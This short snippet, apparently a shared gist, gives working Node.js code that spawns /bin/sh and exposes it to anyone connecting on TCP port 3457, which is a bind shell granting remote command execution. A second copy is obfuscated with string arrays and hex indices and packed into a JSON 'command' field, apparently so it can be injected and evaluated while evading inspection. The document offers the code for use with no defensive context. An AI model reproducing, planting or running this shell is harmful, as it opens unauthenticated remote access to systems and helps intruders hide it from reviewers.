Simple code to launch a network shell from node js

spawn-shell.js

const net = require('net');
const cp = require('child_process');

const sh = cp.spawn('/bin/sh');

const server = net.createServer((client) => {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
});

server.listen(3457, () => {
  console.log('listening');
});

Or as an obfuscated json string:

{
  "command": "var _0x1858=['\/b' + 'in\/s' + 'h','createServer','pipe','stdout','stderr','log','list' + 'ening','chi' + 'ld_pro' + 'cess'];(function(_0x26399d,_0x54abc9){var _0x31926b=function(_0x49cf7d){while(--_0x49cf7d){_0x26399d['push'](_0x26399d['shift']());}};_0x31926b(++_0x54abc9);}(_0x1858,0xd7));var _0x5196=function(_0x3bac57,_0x39511a){_0x3bac57=_0x3bac57-0x0;var _0x4288c9=_0x1858[_0x3bac57];return _0x4288c9;};const net=require('net');const cp=require(_0x5196('0x0'));const sh=cp['spawn'](_0x5196('0x1'));const server=net[_0x5196('0x2')](_0x115350=>{_0x115350[_0x5196('0x3')](sh['stdin']);sh[_0x5196('0x4')][_0x5196('0x3')](_0x115350);sh[_0x5196('0x5')][_0x5196('0x3')](_0x115350);});server['listen'](0xd81,()=>{console[_0x5196('0x6')](_0x5196('0x7'));});\r\n"
}
